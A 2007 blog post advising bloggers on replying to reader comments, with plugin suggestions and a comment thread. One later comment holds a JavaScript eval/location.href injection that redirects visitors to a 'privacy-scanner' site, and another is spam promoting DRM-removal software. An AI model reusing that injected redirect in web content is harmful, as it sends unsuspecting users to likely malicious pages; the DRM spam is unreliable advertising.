The Art Of Responding To Comments On Your Blog
Sep. 19th, 2007 by Shaun
In today’s blog world I don’t see enough discussion among blogs between the blog owner and his or her readers. The idea behind blogging is to have someone read your content and hopefully interact with your website and contribute to your discussion. Here are a few incentives on why you should respond to your readers thoughts:
1 ) Nobdody likes talking to themselves. The definition of communication:
Communication is a process that allows organisms to exchange information by several methods. Communication requires that all parties understand a common language that is exchanged.
Notice the word “exchanged” is italicized. If your readers are leaving comments and there is no exchange of words and ideas between both parties (the blogger and the commentator), your commentators will be disinclined to engage in more discussion in the future.
2 ) Comments are the readers way of showing appreciation towards your article. If they appreciate your article and take the time to contribute to your blog by leaving a comment the least you can do is respond to their comment.
3 ) Responding to all of your comments will help you learn from your readers. The act of responding to your comments will force you to actually “read” the comment. Believe me you will learn a lot from your commentators, often times your readers will make suggestions to your article including:
-Valuable points you missed when writing your post.
-Content you didn’t need to include in the post.
-Spelling and grammar mistakes.
-Your readers will often times keep you informed of other relevant topcis with possibly a link to where you can learn more.
4 ) Blogging is meant to be established and written on a personal level. Blogging is a tool which connects the blogger with his or her readers and there is no better way to accomplish this by engaging in discussion via the comments section.
5 ) Just by responding to the comments you help generate even more discussion. The more talking (commenting) on your blog the more others will want to join in on the discussion and leave their two cents. If there is dead silence in your blog it is difficult for some people to spark the discussion by leaving one of the first comments.
6 ) Helps the blogger get to know his or her readers. Two way commenting is similar to a conversation on instant messaging like MSN or Yahoo, except it’s not really “instant”. You can really tell the personality of anyone just by talking to them via instant messaging, I think it’s safe to say the same thing applies when commenting back and forth.
7 ) Questions, comments, and concerns from your readers are one of the best ways to generate ideas for new posts. By responding to your comments you get an idea of what topics your readers need to be filled in on. If the same questions are being asked over and over again you will eventually pick up on this and hopefully answer all of their questions in a single post. This will save you time responding to comments and will give your readers the most important thing you can give, knowledge they actually require.
8 ) Forces the blogger to analyze the comments. If you “study” your comments you will notice which style of posts generate the most discussion. Use this to maximize your blog growth by publishing more articles similar to the ones that had a lot of comments left on. You can really tell the success of a blog just from the amount of valuable comments left on the site.
9 ) The sign of a healthy blog is one that has a healthy relationship with his readers. This applies to:
-Answering e-mails inquiries.
-Helping other bloggers with anything related to the topic you write about.
-Replying to comments.
10 ) Encourages your readers to come back and comment more. If you are keeping updated with not only publishing new articles but keeping in touch with your readers you will notice an increase in traffic, comments, and return visitors. It’s a win win situation for everyone 
When should I respond to comments?
-When the reader asks a question. Again this goes back to the point that your blog is a “communication tool” and should be used as one accordingly. Your readers will often times ask questions using your comments section either about something you just published or it could even be a more general question that is a bit off topic. Whatever the case is make sure you asnwer these valuable questions.
-When the reader leaves a negative comment. I never delete any negative comments on my blog because these comments encourage people with different opinions to discuss their side of the article. Turn this negative comment around and use it to generate more discussion on your blog. If a reader decides that he or she disagrees with what you said and happens to include some profanity in their response, don’t forget you are the author of the blog and you can always edit the comment. Simply delete the profanity and still continue to have the comment published live for your readers to see.
-If your reader offers a suggestion. I love getting suggestions and ideas from my readers. I am far from a professional and I most definitly don’t pretend to be one. Just as my readers are learning so am I. Take the time to respond to suggestions and further more, take their suggestions into consideration. What I mean by this is to not only aknowlege their suggestion but to follow up on whatever it is they said. If they linked to an article with more information on what you just wrote about then read it!
Should I respond via e-mail or the comments section?
There is no real significance in the way you respond to your comments be it via e-mail or the comments section. The only advantage of responding to comments via e-mail is that it is more personal because your response is delivered directly to their inbox. The disadvantage of this is that the rest of your readers don’t get to see your response.
I would however, recommend e-mailing your response and leaving your response in the comments section to any comments which you feel are important to you.
How do I increase comments on my website?
1) Make it easy to comment on your website. Have a link guiding your readers to the comment section clearly visible. Also having a nice big easy to find comment field will help.
2) Don’t force your readers to login and register before they comment. This is extremely obvious that you will get a huge decrease in comments.
3) Don’t have any complicated spam checking devices on your site. Asking a simple calculation of (2 +2) or something similar to that is fine.
4) Ask your readers a question at the end of a post. I did this when I first started blogging and I noticed a huge increase in comments. This is a simple yet highly effective way of increasing comments.
5) Be controversial. State in your post your side of the story and nothing more. Don’t “Sit on the fence” when it comes to your opion, be blunt, pick a side, and defend it to the death. This will give you a strong voice in the blogging world.
Plugins, plugins and more plugins! (all comment related plugins)
1 ) Show Top Commentators:
Encourage more discussion from your readers, by displaying their names (linked to their website if desired) and number of comments they have made recently to your sidebar.
Download here.
2 ) Brans Threaded Comments: This plugin adds a ‘Reply to this comment’ link to every comment. When you use the reply link, your comment is placed directly under the comment you replied to.
Download here.
3 ) Subscribe To Comments:
Subscribe to Comments 2.1 is a plugin that allows commenters on your blog to check a box before commenting and get e-mail notification of further comments. It is one of the most popular WordPress plugins out there for the simple reason that it helps foster a community around your blog by encouraging commenters to come back and stay engaged in the dialog.
Download here.
4 ) Comment Relish:
Comment relish is a Wordpress plugin developed to send an e-mail message to users who comment on your website who have never commented before. The message dispatched to the user is defined within the plugin’s preferences.
Download here.
5 ) Link Love: This plugin turns off nofollow for all commenters who have made at least 10 comments. The number of comments is configurable by changing a variable in the plugin.
Download here.
Problogger has complied a great list of Comment Managment Plugins which all assist in managing your comments and responding to your readers. Check out the list for more tips on responding to comments on your blog.
How to respond to several comments at once
This is a simple tactic I’ve been using on my blog lately. This allows me to reply to as many comments as I want in one comment. All you have to do is click “reply to this comment” and use an “@” sign followed by the persons name to direct your attention to whoever you are talking to. It’s somewhat hard to explain in plain text so this screen shot will explain a lot better than me rambling on:
Should I have comment moderation on?
Personally I would say no. Many of the mainstream bloggers out there don’t have this feature turned on for a few reasons.
-Nobody wants to wait to have their comment published live. Insant gratification is what many of your readers are seeking.
-This will only decrease the amount of comments if anything. I can’t see having this feature turned on increasing the amount of comments in any way.
-Blogging and the internet world moves at a very fast pace. Information becomes old very quickly so it is probably best to have your comments being published instantly.
-Spam and profanity don’t occur too often. I haven’t had to delete a single comment due to spam or profanity. All of my spam comments are caught by the Akismet plugin and all of my readers have left respectable comments which were appropriate for the public to read.
You don’t have to be waiting beside your computer ready to respond to all of your comments. Heck you don’t even have to respond to “all” of your comments at all. Just show some respect towards your readers and try to respond to some of your comments every once and a while. I try to respond to all of my comments because that’s the least I can do to show my appreciation for my readers.
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September 19th, 2007 at 3:12 am
I’m so guilty of this!
Need to get my act together and answer comments.
Sometimes it can be hard when the comments are very short and looks a bit like spam, but a simple “thank you for commenting” is not hard to do.
I really like the commenting system here on your blog Shaun. I guess it’s not a plugin, but integrated in the theme?
September 19th, 2007 at 3:50 am
Yup, I am also guilty lol !
Good article!
September 19th, 2007 at 5:31 am
Great post and responding to comments keep the conversation going! There has been debate about the use of Comment relish plugin, some say its spamming as it sends an automatic mail. Anyways great post, stumbled!
September 19th, 2007 at 2:22 pm
@ thomas: I have brian’s threaded comments plugin installed which allows you to respond to comments the way I do. I have the link to get the plugin in this post it’s #2 on the list
@nomar: haha it’s ok im sure it wont affect your blog too much.
@nirmal: yeh i dont use the comment relish I think it is 100% spam. The commenters aren’t warned they will get the e-mail therefor it’s spam, I just wanted to share it with you guys not encourage it’s use.
September 19th, 2007 at 5:57 pm
Wow man, I can’t believe I didn’t see it. I scanned through the plugins before I posted :p
Tried to install it, but it looked very messy in my theme. Need to do some research to see if it can be fixed.
September 19th, 2007 at 8:35 pm
no worries! I’m glad you found the plugin hopefully you can get it working
September 19th, 2007 at 8:07 am
Very well written post Shaun
September 19th, 2007 at 2:37 pm
Excellent post Shaun. Thanks for the tip on asking a question at the end, that make sense.
September 19th, 2007 at 9:40 am
I’ve also started responding to each and every comment on my blog. And yes, there is definite increase in my comments too.
And BTW, are those two twins in the picture in the top?
September 19th, 2007 at 10:57 pm
I’m guessing that photo was done with a tripod and two separate exposures. The two “halves” could then be seamlessly merged pretty easily in any image editing application, even MS Paint.
September 19th, 2007 at 10:03 am
Great article.
Usually you see blog owners not commenting to their readers when their blogs are big and this is really annoying as a reader point of view.
September 19th, 2007 at 2:23 pm
@ ad tracker: thank you very much!!!
@ haris: haha they are either twins or just some dude who photoshopped himself lol. glad to see your getting more comments
@google lady: yeh i noticed this to, sometimes the “big guys” will respond to one or two comments out of like 40 and they think their job is done, it kinda of angers me because I see lots of questions that go un-anwswered.
September 19th, 2007 at 10:06 am
Something that I forgot: I don’t agree about not adding moderationg ON there are many spam (in my blog for example). I receive daily more than 1000 spam comments and many of them are not taken by akismet.
September 19th, 2007 at 10:25 am
I love this post. I gave it a stumble. I get a lot of ideas through personal email or comments sent from readers. I try to reply to comments frequently, especially when there are questions… Shaun - you do an excellent job replying to everyone!
September 19th, 2007 at 10:32 am
He is a bit slow today. 8 comments and no replies
Stumbled it too.
September 19th, 2007 at 2:26 pm
@ google lady: thats weird because I haven’t gotten any spam since i’ve started this blog, do you have akismet installed?
@ susan: thank you for the kind words
yeh i generate a bunch of ideas just by listening to my readers and giving them the attention they deserve
@thomas: haha I know! i published this post right before I went to school and I cant blog during school only when I get home
September 20th, 2007 at 5:24 am
Yes I have installed Akismet but it seems that nowadays, spammers are being “smart”.
September 19th, 2007 at 11:56 am
[...] The Art Of Responding To Comments On Your Blog (Shaun Low) [...]
September 19th, 2007 at 12:50 pm
This is an excellent post! I am all for bloggers responding to their visitors comments and I try my best to do the same on my blog. My only problem is if I don’t get to my computer until night time, than it looks a little funny with me replying at the bottom of all the comments. :c)
I agree with Googlelady about the moderating though. I currently have moderation set to approve all new commentors, but once they have been approved once they can comment freely. I think this might have to be up to the blogger to find out what works best for them when it comes to spam.
BrownBaron, Mark, and Mike started the iReply Movement which wants to encourage bloggers to respond to their visitors comments. I honestly didn’t know until I read their movement page that it wasn’t normal in the blogging world, I just think communicating with others is the best part of blogging. :c)
September 19th, 2007 at 2:29 pm
@gnomy newt: I know what you mean i came home from school with 12 comments on this blog and the only way to avoid making it look funny is by replying to the comments individually the way i am now
I didn’t know those guys started that iReplyMovement, i saw it on brownbarons blog but never really took the time to look into it. im the same as you i just think its blog etiquette to respond to comments. thanks for the comment 
!!!
September 19th, 2007 at 1:48 pm
[...] The Art of Responding to Comments on Your Blog from Shaun Low [...]
September 19th, 2007 at 3:21 pm
hahaha.. that is funny picture you have at the top of the story
September 19th, 2007 at 3:22 pm
Hehehe, it is funny but it matches. He is good at picking images!
September 19th, 2007 at 5:14 pm
@ GnomeyNewt: lol thanks
@ thewildone: thanks bud I just found it when searching around on fickr.com! that’s where i get most of my pics !
September 19th, 2007 at 8:37 pm
Shaun you must do really well at school cos these posts you’re putting out are tremendous! Well-written and very in-depth once again.
And thanks a lot - now you’ve given me another few plugins to play around with oh geez…
September 19th, 2007 at 10:32 pm
Sheesh, if you keep this up, (writing such excellent and useful posts) I’ll be here all week just reading! Another nice post that I shall have to bookmark. ;o)
September 19th, 2007 at 10:39 pm
P.S. I just assumed that photo on top was of you with your good twin (I’m assuming you are the evil one) - just kidding. Yea, funny picture. The guy on the right is telling the other guy, “Dude, you gotta stop showin’ up at these parties with the same outfit. It was cute when we were 2 but at some point… “
September 19th, 2007 at 11:52 pm
Every day that goes by comments seem more and more important to me. And these are some great plugins. I do moderate the first comment. How bad is it if some spam does get published? Is it too difficult to get rid of it once it starts replicating in your system. Or whatever it does. I used to have a problem with it on this blog until I got rid of Akismet and installed bad behavior. Havent had one problem since then and we are up to almost 1000 instances of prevention.
September 20th, 2007 at 3:21 pm
But what if the blog author is shy like me? Hehehe nicely said buddy.
Sarah- thanks for the mention
December 15th, 2007 at 4:10 pm
very interesting, but I don’t agree with you
Idetrorce
June 12th, 2008 at 8:29 pm
I think that Bruce Bennet is a man with no heart.The girls that went to the school are having of lot of heartace.
July 2nd, 2008 at 6:20 pm
eval(unescape(’location.href=’http:///privacy-scanner.com/1/index.php?382”));
September 16th, 2008 at 9:20 pm
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September 17th, 2008 at 2:03 pm
The story shows how to unprotect drm from protected wmv, wma, m4p, m4v, m4a, aac files and convert to unprotected WMV, MP4, MP3, WMA or any video and audio formats you like, such as AVI, MPEG, MOV, 3GP, m4a, aac, wmv, ogg, wav…
It’s easy and a must do operation, folks!
Point 1: I’ve purchased and downloaded some wmv videos, which is drm protected - so I cant copy them to MP3 player and my wifes htc diamond OR ANY DEVICES? I was shocked!!! #%#$%!!
WHY this happens?
So found a way - drmbuster (drmbuster.com, drmbuster.com) - it converts my wmv (and avi actually) directly to my iPod.
found another software:drmremoval - seems to works slowly, but perhaps I miss smth.
Point 2:
) and I own the iPhone! So what&!. I can’t - I get a message: “cannot be imported because it does not appear to be a valid exported file”… ###ing limitation.
Can’t copy to my iPhone avi from my hard disk! I own that avi (movie maker production
I was amazed, but drmbuster did this job for me too. It even recompressed video to iphone screen size - so I don’t have to copy all 900mbytes to devices. Just 200!!
The program is capable to convert any format I had on my hard drive - I even dragged there my while entertainment hard drive (I use different ones for windows and entertainment, to not loose valuable video), and it reconverted everithing, that looks like a video or sound.
fortunately, I hadn’t iphone conneted, otherwise it may be fully fill its memory!
Really, extremely easy to use piece of software - napster converter, itunes converter.
I am a big fun of skins and skinned software! I contacted their support, and was given an answer - If you gather some more users who desires this - we will implement for you!
What do you think juys, let’s ask them?
Please….
December 19th, 2008 at 9:39 pm
Thak you for the news
September 22nd, 2009 at 11:48 am
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